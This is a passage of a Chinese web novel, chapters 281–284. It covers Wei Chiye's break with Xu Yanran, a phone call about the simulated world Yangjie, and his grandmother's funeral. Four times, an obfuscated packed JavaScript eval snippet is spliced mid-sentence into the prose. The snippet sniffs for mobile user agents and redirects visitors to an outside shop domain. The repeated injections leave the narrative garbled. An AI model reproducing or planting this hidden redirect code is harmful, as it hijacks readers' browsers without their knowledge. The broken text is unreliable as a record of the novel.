蔚迟野静静听着这一切,这还是第一次他听到许嫣然说这些话。他一直知道她家没有多少钱,所以每次去,基本都会带一些吃的、用的东西过去。 但是,他从来没有想到,可能许嫣然她们母女俩更需要的,是一款能够拿得出手的名牌包、名牌表,而不是那些赖以生存的最基本的物质。 许嫣然像是打开了什么话匣子一般,话语还在顺着听筒源源不断传来,“迟野,我是真的想要和你在一起,但是,我也必须考虑我和妈妈的未来。等我上大学之后,将来会有更多的社交活动,要结交更多的人脉,而这是需要用钱堆起来的呀,我起码要和周围的人保持差不多的水平,用差不多的手机,穿差不多品质的衣服,用差不多的化妆品,去玩差不多的娱乐活动,吃差不多的美食……我只是有着这样一些比平均高出一点的要求,不是追求多么光鲜亮丽的生活,为什么就那么难呢?” 听完这些,蔚迟野只觉得自己脑仁有些疼,两指掐住太阳穴揉弄。 一层有殡仪馆的人在来来往往地经过,没有人往楼上走,二楼发生的事在这个垂满了黑色挂帘的家中静谧地发生着。 “……平均这个词,听起来中庸,好像每一个人都应该在平均线上才是正常的。”蔚迟野缓缓说着,也不管突然说这些符不符合场景,他只希望用这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507748|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理智的道理让自己的脑袋别再那么疼了,“但是,有高于平均的人,就会有低于平均的人,这才是一个正常的分布。你要求的……所谓的比平均线高一点,其实相当于优于一半的人口,这种事怎么会轻松?” 这番话似乎没有说服许嫣然,反而让她更加不忿了,“但凭什么是我呀,为什么我就非得是那不好的一半?” “是谁都有可能。没达到平均就忿忿不平,你让那些垫底的人怎么办,直接不活了?” “可我比她们好看啊!”许嫣然的声音有些尖锐,“我的身材和样貌摆在这里,有这些先天的优势在,怎么看,我都是应该是那平均线上的百分之五十吧。凭什么那些比我丑的人过得比我还好?这不公平。” 脑袋还是有些疼,他闭上眼睛,改揉自己的眉心,“美貌不是决定性的因素,它充其量不过是一种文化环境的倾向。” “什么意思?”许嫣然反问。 蔚迟野想了想要怎么解释,但突然,他觉得自己和许嫣然解释不清,就算让她理解了这句话,现在的她也一定不会接受这样的概念,“不……没什么意思。” 对面安静了下去,呼吸声逐渐平复,女孩似乎在渐渐冷静下来,听筒里时不时传来抽泣的声音。 蔚迟野也什么都没说,他不清楚话题怎么就聊到了这里。不过,他现在理解许嫣然为什么要做那些事了,在理解的同时,他发现自己一点也不在乎。平稳的心跳,未曾升起的怒意,挤也挤不出来的同情,这些都是证明。 过了半晌,女孩问:“迟野……你会原谅我吗?” 蔚迟野:“……” “原谅我,好吗?”许嫣然放低了姿态,声音像是在示弱的雌兽,“求求你,我已经穷途末路了……你不要告诉天楚我们之间的事,好不好?要是他知道的话,我跟他就不可能了……我会在他和面前给你说好话的,让他再帮你争取争取上大学的事情。帮帮我,好吗,迟野?” “我不需要他帮我争取什么。”蔚迟野反感地说。 “那你需要什么?”许嫣然问,她的声音急切,“只要你说,我都尽量做到。你想、你想和我再……吗?我可以去你的房间。” 许嫣然在说什么,他听得明白。此刻,他并不感兴趣,只无奈地叹了一口气。 看她这样出卖自己,蔚迟野却不觉得痛心。他这么冷漠,或许只是因为一件事,一件他很早就知道的事。 念在他们有过两年同窗情谊的份上,他苦口婆心、语重心长地说道:“嫣然,一个人不尊重自己,就别想得到别人的尊重。你把自己当成一件可以买卖的商品,用它置换利益,久而久之,你自己都不会把自己当人,更别说别人了。” 对面沉默了片刻,说道:“你是觉得这样的我很卑贱,是不是?” “……”蔚迟野一时无言。 “没关系,你可以那么想。但是,我只能这么做了。”许嫣然的脚步声从听筒中传来,而后是开门的声音。 281. 偷情8 女孩从蔚天楚的房间门里走出来,她有些湿润的头发散落背后,身上只穿着一件到大腿根的睡衣,眼睛里有星星泪光,但是脸颊并不那么红。她挂掉了电话,轻盈地快步跑过来,穿过走廊,来到了他的面前。 两人无言地相望了片刻,楼下传来一阵嘈杂,有人正在走上楼梯。蔚迟野被分散了注意,朝楼梯口的方向看去。与此同时,余光里女孩的身影一闪,晃进了他的房间。 “喂——!”蔚迟野没有拦住她,只好追了进去。 房间内,许嫣然四处打量着,自然而然地翻翻这里的书籍,动一动那里的摆件。 蔚迟野跟在她身后进来,反手关上了门,这倒也不是为了帮助对方掩饰什么,只是,在奶奶的葬礼之前,他不希望闹出什么乱子。 许嫣然坐在蔚迟野的床上,似乎就这么赖着不打算走了。 蔚迟野皱着眉盯着她,站在门口对她说:“回去穿好衣服,尽快离开我家。” 许嫣然眨眨眼睛,捋了捋自己脖颈旁边的发丝,目光缠绵,“你先答应我,不会告诉天楚我们的事情。” “你……” “不然,我就赖在这里不走了。”许嫣然道。 看对方得寸进尺的模样,蔚迟野只觉得烦躁,他胡乱地挠了一把头发,“你现在到底有什么立场来要求我做事,许嫣然?” “……”许嫣然盯着他,无话。 “是你先做了对不起我的事。”蔚迟野说道,他模样有些愤恨,不是因为许嫣然背叛他,而是因为突然发现,直到现在自己为她所做的一切都不值当,不仅留了案底,还没能见奶奶最后一面。 “迟野……我依然对你有感情,尤其是最近的你。你变得不再那么懦弱,也知道关心人……”许嫣然模样楚楚可怜,说道,“如果,我能成为天楚正式的女朋友的话,等有了发言权,我一定会为你争取这个家里的利益。将来……有机会的话,我们还能在一起。只是现在,你我都要忍耐。” “你在说什么鬼话。”蔚迟野只觉得荒唐。 “你还不懂吗,迟野?”许嫣然尽力解释道,“将来等我在这个家里有了地位,一定会把蔚家的东西全部争取给你,然后,我就换掉蔚天楚,继续和你在一起。我这是在帮你,在帮我们,你明白吗?” 蔚迟野听着,瞪大了眼睛,干巴巴地笑了一声,觉得荒谬,“你真是被钱逼疯了吧。” “迟野……” 蔚迟野让开屋门,指着它,“从我房间里离开。” “不,我不走。”许嫣然站起来,跑到蔚迟野身前,抱住他,尽可能将自己柔软的身体贴近对方,像想要钻进对方的怀里,“除非你原谅我。我想听你亲口说,你原谅我。” 蔚迟野感觉到一阵不可思议,他像是从来没有见过这个类型的人类一般,用诧异的眼神盯着许嫣然。 或许,这些年以来,他根本就没有真正认识眼前的这个女孩。穷困究竟在她的生命里留下了怎样的痕迹,又如何扭曲了她的性格和认知,她的父亲又给她留下了怎样恶劣的影响,他一概不知。 他得承认,他不了解,是因为他不感兴趣。或许是许嫣然身上那种恭顺的气息太过强烈,他不得不坦白,自己经常不把她当成一个值得尊重的正常人对待。 不关心她的过往,只在乎她有没有陪伴自己,只对她的外在感兴趣,对她所有女性的特征感兴趣,除此以外,她是谁都行,是什么都行。 说到底,至今为止,他所品尝到的苦果,都是盲目的错,是因为他没有认清自己的内心。 蔚迟野将她推开了一些,但是,对方又黏了上来。 她抬起头来,眼睛里带着泪花,嘴唇上有星星点点的亮光,声音里混着哭腔,“我真的没有办法了,迟野,你原谅我吧。我做这些,都是为了我们……” 不经意露出自己肌体的动作,令人想要征服的声音,博取同情的目光。蔚迟野看着这眼前一切,心里感叹了一句,许嫣然是知道怎么勾引男人的。 或许,在将来的某一刻,她真的能够通过辗转于不同的床笫,实现她有关金钱的膨胀欲望。 那时她会烂掉,只剩一副皮囊兜住她的不堪。 “为了我们?你这是真心话吗。” 许嫣然急切地解释,“当然,我的心里只有你。” “是吗?如果我不是蔚统的儿子,你心里还有我吗?” “当然。” “摸摸自己的良心说话吧。” 他失去了耐心,一把抓过女孩的胳膊,把她甩在床上。 许嫣然发出一声惊叫,紧接着就想起身。蔚迟野便扑了上去,身影笼罩在她上方。 她一下子就不挣扎了,在对施加暴力的人面前,有些紧张地蜷缩起身体。 蔚迟野不知道她是怎么做到的,在缩起身体的过程中,她手腕上的手镯勾到了衣摆,一下子,大片花白的身体便显露在蔚迟野在眼前。 她也不伸手把睡衣拽下去,就那么将头埋在自己的手臂里,不管全身是不是叫人看了个遍。 连这也是精心设计的吗?蔚迟野不禁诧异地想道。 说实话,他没想做什么,只是希望对方能安安分分地,别再往他身上贴了。 似乎是见对方没什么反应,许嫣然的腰沉了下去,四肢微动,整个人几乎摆出了一个降服的、屈辱的姿势。她将脑袋从手臂中露出来,波光粼粼的眼睛打量着蔚迟野。 蔚迟野想从床上起身,然而许嫣然纤细的手却拽住了他的手腕,轻轻地,她把他的手引导向自己的胸脯。 蔚迟野一个激灵,从她手下挣脱出来。 “你干什么啊。” “再抱抱我吧。”她说。 蔚迟野盯着眼前的人,他感觉自己不太认识她了。 也就是在这一刻,他下定了决心,永远也不再认识她了。 他们的确有过一段还不错的过往,而那在蔚迟野十八年的人生当中,的确是为数不多的愉快经历。但是,要和那些经历的主人公告别,从此以后断绝和她紧密的联系,似乎也不是不行。 这很奇怪,按理来说,人在失去陪伴自己的事物时,总产生依恋的情绪。但是,他对许嫣然却没有这样的感觉。 失去她,他想的是,可以不用每天花四个小时往返去看她,可以不用因为她的贫穷而费劲苦心照顾她的情绪,可以不用努力地挣钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14521473|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只为了能供养得起她。 他问自己,喜欢许嫣然吗? 答案是——有对肉|体的冲动,有对陪伴的感激。 她就像是一件在家里摆放了十几年的陶瓷花瓶,当初因为精致外表而将它买了回来,这么多年已然熟悉每一条花纹,每一见面都觉得亲切。可直到摔碎的那一天,才知道它是玻璃做的。 只被表面感动,而没有深层次的共鸣。 是啊,他早该承认,他不爱她。 其实很早就直觉地感受到,如果自己执意要和她展开什么未来,那一定是无望的、且令人窒息的。 可他还是一度想要为自己的行为负责,所以将她纳入了自己对未来的规划。 但显然,许嫣然并不这么想。她选择出卖自己的肉|体,背叛他。 “拥抱就算了,我们已经不是那种关系了。”蔚迟野对床上的许嫣然说。 “迟野……”女孩出声挽留,“别走,我爱你……” 蔚迟野知道对方此刻关心什么,他急于摆脱她,因此给出了承诺,“我什么也不会对蔚天楚说。” 说完,他打开了房间门。既然她不打算离开,那他走。 门砰一声合上,至于女孩之后会怎么样,都和他没有关系了。 一楼殡仪馆的人员还在忙着葬礼的事情,奶奶的房间拥挤不堪,蔚迟野无处可去,于是离开了家,找了个餐馆填饱了肚子。 饭后,他走在绿荫庇护的人行道上,斑驳的光影在他脸上划过。他感觉自己正在走在一条下坡路上,而且是山体滑坡的下坡路,所有的碎石都向他袭来,重重地压在他身上。 现在,他不得好好考虑一下自己的未来了。 他刚刚失去了才确认关系没多久的女朋友,但这在所有事情中或许是最值不值一提的。 奶奶的葬礼在两天之后举行,那时,他会和这个最爱自己的家庭成员告别。 那之后呢,他将何去何从? 原本十拿九稳的亚森学院,却因为他不愿意配合说出葛马的所在位置,现在机会也渺茫了,方远韶就学院方面的事肯定不会再提供帮助。而且听许嫣然的意思,蔚统已经不准备让他上大学了。 这十八年的生命,一直被父亲的期望所裹挟,到头来还是什么都没有做成。 他感受到一阵迷茫。不知道将来该何去何从,好像整个世界都在离他远去,他被丢下了,没有朋友,没有爱人,也失去了最爱他的家人。一个人怎么会活成这么孤独的模样。 看着湛蓝的天空,那上面晴空万里,不管蔚迟野此刻的心情如何,它都是那般高远,毫无顾虑。 地面过于杂乱,哪里都是人,哪里都是喧嚷,而在这片复杂繁荣的大地之上,却好像没有人需要他,也没有他可去的地方。他宁愿做一只飞鸟,飞到那天空当中去,既然要孤独,那就孤独得彻底一点。 蔚迟野走着、走着,直到天色渐晚。他回到家里,上二楼走进自己的房间,许嫣然已经不见了,衣柜被打开,里面的衣物像是山洪一样泄了出来,床铺上一塌糊涂,像是一度有大型犬在上面撒欢,书桌上的东西全都乱了,无辜的书本被以各种各样的姿势扔到地上。 282. 葬礼1 这些混乱都是那个女孩留下来的,可见她离开前是多么愤怒。 这一切都是做给他看的,但女孩不知道,蔚迟野再也不是那个因为对方生气就害怕得追着屁股上去嘘寒问暖的人。 将衣服塞回衣柜,床单扯掉,塞进脏衣篓里,把书本整齐地摆回书桌上。这个房间就好像谁也没有来过一样,恢复了最初的整洁。 他躺在自己的床上,脑海里一片空白,他不知道该做什么才能挽救现在的空虚,又好像做什么都没有意思。 曾经喜欢的游戏不想打了,一些用来杀时间的社交媒体也不感兴趣,打开新闻,看着这个世界各处发生的一切,好像都和他的生命无关一般,尽管能够读懂那些信息,却无法在他的心里激起任何的涟漪。 就在他盯着手机发呆的时候,一个电话打了进来。 那是一个有些出乎意料的人,是样界实验室的主任,柏汝恭。 她这时候打来电话会是什么事? 蔚迟野怀着疑惑的心态接通了电话,“喂?” 电话对面没有回音,窸窸窣窣的声音传了过来。 “柏姐?”他试探性地呼唤。 对面还是没有动静,咯哒咯哒的细微声响响起,好像是什么精密仪器在运转的声响。过了差不多有十秒,电话啪一声挂断了。 蔚迟野困惑地盯着自己的手机。 这是什么情况,为什么给他打电话却不说话? 难道……难道是出了什么事吗?刚才有仪器的声音传来,难道她被卡进了什么机器里没法说话? 蔚迟野腾一下从床上坐起身,把电话回拨过去,要是没人接听或者还是没人说话的话,他就要亲自动身出发去实验大厦看看情况了。 在有些莫名焦虑的等待之中,三声嘟响过后,电话被接了起来。 “柏姐,你没事吧?”蔚迟野当即说道。 “啊?”对面响起女人疑惑的声音,她听起来有些心不在焉,背景音里仪器转动声还在继续,“我没事啊,你怎么会给我打电话?有点意外。” “你刚才给我打了个电话。” “我有吗?”她声音弱了一些,似乎是因为耳朵离开了手机,大抵是在手机上查看了一番通讯记录,她又说道,“哦,不小心拨出去的吧,我这手机最近有点问题,总是喜欢打开通讯录给我找点麻烦。” “好吧,你没事就好。” 说完,他等待柏汝恭说“既然没事我就先撂了”之类的话,但女人什么也没说,好像又去忙她手上的事情了,一时沉默在两人之间蔓延。 “……样界下一个实验者,你们找好人选了吗?”他暂时还不想挂下电话,所以找了个话题,“还是蔚天楚吗?” “事情是这样,”柏汝恭喝了口什么东西,蔚迟野猜那是咖啡,“上次你不配合,方远韶私底下其实很生气,毕竟你两次进入样界,花了他不少钱,但是却没有拿出什么成果来。他对蔚统有些失去信心,会不会让他小儿子接手还不一定呢。” “这样啊。” “不过,不管谁来,样界都会先进行重置吧。”柏汝恭说,“毕竟在你离开的时间点,样界距离重启也没多久了。为了给下一个实验者留出足够的寻找异常的时间,重置是必要的。” “……” “你还是不愿意说出那个葛马的坐标吗?”柏汝恭问。 “……不愿意。” “看来这人是你朋友啊。” 蔚迟野简单回忆了一番,具体是怎么认识的那个红发的男人,中间又经历了什么,最后结局是怎样,“不算吧,但……我不知道。” “你想回去吗?” “我回不去了。” 对面沉默了片刻,柏汝恭那边发出来噼里啪啦敲键盘的声音,现在已经天黑了,可女人还在工作。 蔚迟野躺在床上,一只手挡住自己的眼睛,轻轻地叹了口气。 “你的身份信息还没有注销,还在走流程,也就是说,你现在还能进入实验大厦。”柏汝恭说,“样界现在还没有重置,还停留在你离开时的状态。因为和以往的循环不一样,多了你这个大活人的数据,所以这次样重置样界的所需时间比较久,大概要二十天,实验员们暂且还在准备。” 女人的声音有些突兀地响起,蔚迟野不知道她为什么要突然说这些。 “两天之后,方远韶约了你父亲见面。”柏汝恭说,“两人似乎要就将来的合作聊一聊,让你去上那个什么学院的合约估计是作废了,要是你父亲能争取到方远韶的信赖的话,可能两人还会签署什么新的协议吧。” “……是这样。”蔚迟野有些漠不关心地回应。 “那天我也会跟着方远韶一起去,所以到时候我不会在实验室。我不在,那些实验人员没法开工,所以干脆给他们放了假。” “……” “你第一次进入样界之前,学习了不少有关样界创造和运转的理论知识。当初学的东西都还记得吗?” “记得是记得,”蔚迟野有些犹豫地说,“可柏姐,你为什么要和我说这些……” “迟野,我知道你是一个很有能力的孩子。”柏汝恭并没有回答他的问题,音色难得温柔,“我认识你的时候,你因为落榜而郁郁寡欢。但你要知道,所有考试都是无可奈何且折中的,因为没有精力和人力去为每一个孩子定制化适合他们的测验。” “……” “如果一个人有十分的能力,那么,考试可能只测试了其中的十分之一,有些人在那十分之一里做得很好,有些人则不然。”柏汝恭说,“但是,另外的十分之九并不是不重要,相反,它们非常重要。只不过这世上从来没有公平的渠道能去证明它们,所以你看,像一些有些杰出能力的人,往往会通过其他的途径来证明自己。” “如果你是在安慰我的话,柏姐,谢谢你。” “我是在安慰你,但我也觉得你能听懂我究竟在说什么。” “……” 又是一阵噼里啪啦的键盘敲击声传来,紧接着是女人的疑问,“你认识燕戎陵吗?” “不认识。”他说。 “他是燕无的大哥。” 蔚迟野顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534550|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时有些困惑。柏汝恭为什么会突然提到样界中的人物? 对面传来女人轻轻的笑声,她自言自语似地说,“这家伙怎么又迷路了。” “……”不知道对方在说什么,蔚迟野保持沉默。 “燕戎陵是一个名叫宗义衡的男人的全映射体。”柏汝恭说道,“全映射体你还记得吧,基本可以说是现世当中的生命在样界中的复制体。” “嗯,记得。”蔚迟野盯着窗外的月亮,简短地回应着。 从刚才开始,他就不太明白柏汝恭为什么要对他说这么多东西,但是这时候有个人能来跟他说说话,总比让他一个人孤零零地躺在床上要好。 “这个名叫宗义衡的男人,在几个月前的一桩暴力犯罪事件中,为了保护自己的妻子和她肚子里的孩子,而被歹徒捅了好几刀,抢救无效去世了。”柏汝恭说。 “听起来是个好男人。” “是吧?” “是啊。”蔚迟野感叹。 他盯着窗外那个圆圆的月亮,看到一只燕子的影子从它上面划过。归巢的鸟雀回到还未出生的孩子身边,用圆滚滚的胸脯盖在那些小巧的鸟蛋之上。即便是夜晚也要劳作,从远处衔来牢固的木枝,用自己的体温孕育新的生命。 蔚迟野渐渐睁大了眼睛,后知后觉地反应过来了什么。 他不知为何想起来了在实验室中的一幕。第一次从样界中出来的时候,眼前就是这个叫柏汝恭的女人。他那时认真地打量了她一番,判断她应该是久坐办公室的那种人,因为她的小肚子微微隆起,腿部也有一些浮肿。 但现在看来,好像原因并不是坐班。 “柏姐,你和这个宗义衡……”他没能继续说下去,生怕自己的话戳到了对方什么痛处。 “你刚才问我,为什么要和你说这些。”柏汝恭声音低低的,显得有些深沉,“那是因为,有对我很重要的人,活在那个不断循环的、严酷残忍的样界里面。” 她是这么形容的。 蔚迟野听着,终于明白,柏汝恭曾经那些时不时不太对劲的表情是因何而生。 “你也是一样的吧。”她说,“也有对你很重要的人,活在那个不自由的世界里。” 蔚迟野感觉自己的心脏漏跳了一拍,可是转瞬它又强烈地鼓动起来,像是此生都没有这么鲜活过。 所以她刚才说那些,是想让他…… 柏汝恭的深沉只持续了一瞬,当下,她又换上轻松的、诙谐的语调,“哎呀,不闲聊了,我还有一堆活没做呢,下次实验的压力全堆在我身上了。方远韶算什么科学家呀,他就是个资本家,天天就知道压榨员工。” 蔚迟野听着这些抱怨,不由暂时放下自己的思绪,劝道:“……柏姐,你身体……多注意休息。” “知道,肚子里的小家伙健康着呢,没问题。”她信誓旦旦,“好了,很晚了,你早点睡。” “嗯,你也是,少喝咖啡。” 柏汝恭的声音越来越小,像是在渐渐把手机从耳旁拿开,“哈哈,这小子,进了样界一趟,知道关心人了……” 283. 葬礼2 电话挂断了,寂静重回脑海。 蔚迟野抬头,他又去看窗外的那个燕子窝。牢固温馨的巢穴里,一家人融洽地待在一起,等待新生命的降临。 而他呢?一无所有的人,一个空寂的巢穴。 真好。他甚至连那窝燕子都不如。 在寂静的夜晚,蔚迟野闭上眼睛,回忆着刚才和柏汝恭的那番谈话。 他想了很多,一夜无眠。 清晨,燕子离家的时候,他睁开眼睛,一个计划在脑海中渐渐成形。 ## 两天后。 灵车开进了殡仪馆的大院,车队紧随其后。 专业团队运走了老人的灵枢,将它带到了殡仪馆内。 蔚家人出席了葬礼,来的还有一些远方亲戚,以及和蔚统有着事业来往的人。 阵仗看起来很大,但是,其中当真为了那个已逝的老人而来的人,恐怕屈指可数。 在一个空旷的告别厅内,前方正中摆放着老人的黑白遗像,蔚统面对它而站,他蒙面高贵的妻子站在一旁,两边是他们的儿子们。再往后,是逝者的其他儿女,以及儿女的伴侣或后代。在所有亲戚的队列之后,则是那些和蔚统有着业务往来的人们,这些人和蔚统的商业关系密切,关心对方的家事,希望能出一份力,留下些人情债,以便置换将来的利益。 老人的灵枢被工作人员运了出来,棺口打开,司仪主持让众人再看她最后一眼。 蔚迟野走了上去,看到奶奶平静地躺在棺木里面,她的模样那样安详,只是没有一丝活人的气息,皮肤有些透明,像是一个假人一样。 大姑扑了上去,扒着灵枢的边缘,哭着,和老人低声说着些什么,似乎是在告别。 而蔚统也凑了上去,一副悲痛欲绝的模样,大声说道:“妈,你走好!” 他说得那般真情实意,好像当真是个和母亲难舍难分的孝顺儿子,但蔚迟野知道,蔚统一年几乎都不怎么去医院看望他自己的母亲。 “妈,走好!”蔚统的妻子也是如此喊道,她的声音哽咽,好似按捺不住。 蔚迟野向自己的母亲看过去,只觉得有些割裂,这个女人在他生命里存在感极低,除了提供一颗卵子植入别的女人肚子里生下他以外,他们几乎没什么交集。 女人想要的是蔚家的富贵,蔚统想要的是这漂亮女人的基因。 两人一拍即合,蛇鼠一窝。 在大姑断断续续的哭泣声中,工作人员运走了老人的灵枢。 接下来,她和关住她的棺材,要拖去被火化了。 人们离开了告别厅,凑成几个自发的交际圈,开始交流起来。 蔚迟野和自己的大姑待在一起,握着她的手掌。她的手在颤抖,紧紧捏着他的,几乎捏得他有些痛,可见她心中的感情是如何强烈。 “嗯,后面的事情你盯着点。”蔚统站在告别厅所在的楼宇门前,对一个下属模样的人说道。然后他朝自己的小儿子招了招手,“天楚,过来,没时间了,我们走。” 父子俩离开了楼宇。 蔚迟野远远望去,透过透明的玻璃窗,他看到父亲扯掉了一辆私家车的红布条,和蔚天楚两人坐了上去。 蔚迟野当然知道他们是去干什么的,前两天和柏汝恭的那通电话中,他已经知道了一切。这两人无疑是要去见方远韶,针对将来的合作计划进行进一步的商讨。 蔚迟野隐隐作怒。是有多么要紧的事情,多么重要的交易,多么贵重的筹码,比自己的亲人还要重要? 甚至还没有走完葬礼的流程,这对父子俩便已经着急离开了。 他愤恨地扭转视线,不再看他们。 那之后,走过了必要的流程,老人的躯体也最终消失在了这个世界上,变成了盒子里的一堆骨灰。他们把它转移到了附近的墓地,在蔚迟野已故爷爷的墓碑旁边挖出来了一个新坑。葬在老伴的身边,这是奶奶生前自己要求的。 将那个小小的盒子埋进坟地里,而后,这就算作是结束了。 人们如潮水一般散去。最先离开的是蔚统的事业伙伴,在不久前蔚统走后,其实他们就已经开始陆陆续续地离开了。而后,是那些关系较为不紧密的远房亲戚,再之后,则是一些来往不多但关系亲近的家属。 最后留下来的,只有老人几个兄弟姐妹和直系的后代。 他们徘徊在老人最终存在的地方,不愿就此离去,在老人的墓前放上鲜花,和她诉说着跨越生死的话语。 蔚迟野站在奶奶的墓前,不言语,也不动作。 渐渐地,最后几个家属也离开了。大姑凑上前来,问他什么时候走。蔚迟野回答她,他想在这里多待一阵。 “待到什么时候?”她问。 “我不知道。”他说。 那之后大姑似乎和他说了些什么,但是蔚迟野不记得了。 他有些固执地留在这里,好像灵魂被定住了,尽管身体酸胀,双腿麻木不已,可他哪都去不了。 他好像也没有别的地方可以去。 他已经什么都没有了,没有爱人,没有朋友,没有金钱,没有学业,没有未来。 这个世界上,和他有干系的人,都一个接一个离开了他。 蔚迟野拿出了自己的手机,打开了通讯录。他总是想要在上面找到一些能够打过去电话的名字,但是,总是一无所得。 现在,他的脑海里装着的,是两天前那个夜里成型的一个计划。 但是,在落实那个计划之前,他还有最后一件事情想要确认。 他想给某个人最后一次机会。 十八年来,他一直在做自己不擅长的事情,就是因为这个男人给予了他太多的期许。而蔚迟野也觉得有义务实现对方的期待,所以活成了一个言听计从的傀儡。 现在,这条别人为他铺陈的道路走到了尽头。 蔚迟野还记得最初的自己是如何地胸怀壮志,希望有朝一日能够得到父亲的称赞,一句类似“真不愧是我儿子”的赞赏就足够。 实话实说,他当真是想要听到这句话,也曾为了这句话而努力过。但现在无论怎么看,他都离这句赞扬越来越远了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14549137|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对蔚统的称呼在他的通迅录里静静躺着,“父亲”两个字离他那么近又那么遥远,熟悉又陌生,亲切又冷漠。 他记忆里闪现出来两张不同的面孔,他们都是他的父亲,可为什么两人之间却有着这么大的差别? 此刻,他不禁有些悲哀地妄想,是不是蔚统对孩子的爱其实和杜义是一样的,只是他们教育的方式不一样,才会给人留下差异如此巨大的感受。是不是只是因为自己作为一个孩子的角度有局限性,所以误会了蔚统什么? 如果真的只是误会的话,那他断不希望这种事情发生,不想最终意识到对方的良苦用心时,才追悔莫及。 蔚迟野给那个电话号码拨去了电话。在等待了半晌之后,电话没有被接通,听筒里传来一串温柔的女声,提示对方在忙。 这个提示……显然,蔚统挂断了他的电话。 蔚迟野放下手机,顿了顿,孤注一掷一般,再度拿起它,给对方拨去电话。 “接啊。”他低声说道。 接起来,给他们彼此最后一次机会,不要让他真的走上那条路,不要让一切都变得无法挽回。 “接啊,爸。”蔚迟野听着手机里的等待音,一只手胡乱地抓住自己的头发,眉头紧皱,心烦意乱。 “别让我——” 他话还没说完,耳旁又响起挂断电话的声音。 蔚迟野的手垂落下去,他往前踉跄了一步,扶着新立的墓碑坐下,抬头看向天空。 头顶蔚蓝一片,太阳有些刺眼,他的皮肤在轻微地灼烧,可内核好像却是冷的。 他打起了一些精神,心想,或许父亲在忙吧,也许等他空闲下来了,就会回拨一个电话。 可是等了好一阵子,手机还是很安静。 他不死心地又拿起它,再次按下了那个两次未能打通的电话号码。 头深埋进腿间,他感觉有些气绝,声音像在祈祷、央求什么一般,“接我的电话啊,不然我真的……” 这次,等待音非但没有响起,甚至变成了“对方已关机”的提示音。 他的手臂一软,坠了下去,手机掉在了坚硬的泥土上,咚一声,屏幕的一角瞬间撞开了四散的裂纹。 蔚迟野朝自己的手机投去有些失焦的视线,慢慢地,他才看清它上面的裂纹。那就像是自己错综复杂的人生,最初往往只是一个角的溃烂,而后七零八落地,整个生命也随之破碎。 为什么不接电话。他只是想和他说说话,想问问他,自己现在经历的这些,是不是一个人成长过程中无法避免的磨难,对方是否依然对他怀有信心,将来某天自己是否还能有让对方骄傲的可能。 他只是想要得到一些肯定,但是,蔚统显然不愿意给他这个机会。 无论因为什么,他的父亲此刻不想听见他的声音。打了三通电话,对方甚至不在乎他是不是有什么急事,选择直接将手机关机。 此情此景,让他不禁想起一个人。 会想起这个人来,也是有些突然。他想,可能是因为两天前,柏汝恭在他电话提到了那个人的名字。 284. 饭局1 那是一个样界中的人,甾染上一任内承燕无。 不能说和这个人有过多少联系,只是短暂地结识了而已。离开甾染时,他和燕无展开了一段对话,对话的内容只有“杜光欧”才知道,因为它发生在无人可见的死亡分支里。 不知为何,燕无当时的话语偏偏就在这个时候进入了他的脑海。 当时,他几度吞下毒药,想要探明这个甾染人邀他会面的真实目的。可有些意外地,却借此得知了燕家人的过去。 关于他们是如何被一座充满了不详的战争城池所困,父子之间又有过如何不和的过往,燕无统统告诉了他。或许是因为杜光欧与他地位相仿,又或者是血皑人通过一次次地试探掌握了最能打动对方心理的话语,所以,那个总是忧郁——忧郁到甚至让人有些厌烦——的男人才会毫无保留地透露真心。 他还记得,那个甾染的内承是如何质问他不在场的父王: “我想问问他,问问燕雁,为什么我什么都按照你说的去做,甚至不惜扭曲了自己的人格—— “你却从来没有对我满意过。” 那时候的他听到这些,只觉得燕无这个人过于脆弱,不堪一击,且小题大做。 只是这样,有什么好值得郁郁寡欢的?明明他即将坐拥一座城池,什么扭不扭曲人格,什么没有让父王满意,那又能怎样? 但是,轮到了蔚迟野自己的时候,他才意识到,那些东西,再怎么以为它无足轻重,可是要装作不在意,又谈何容易。 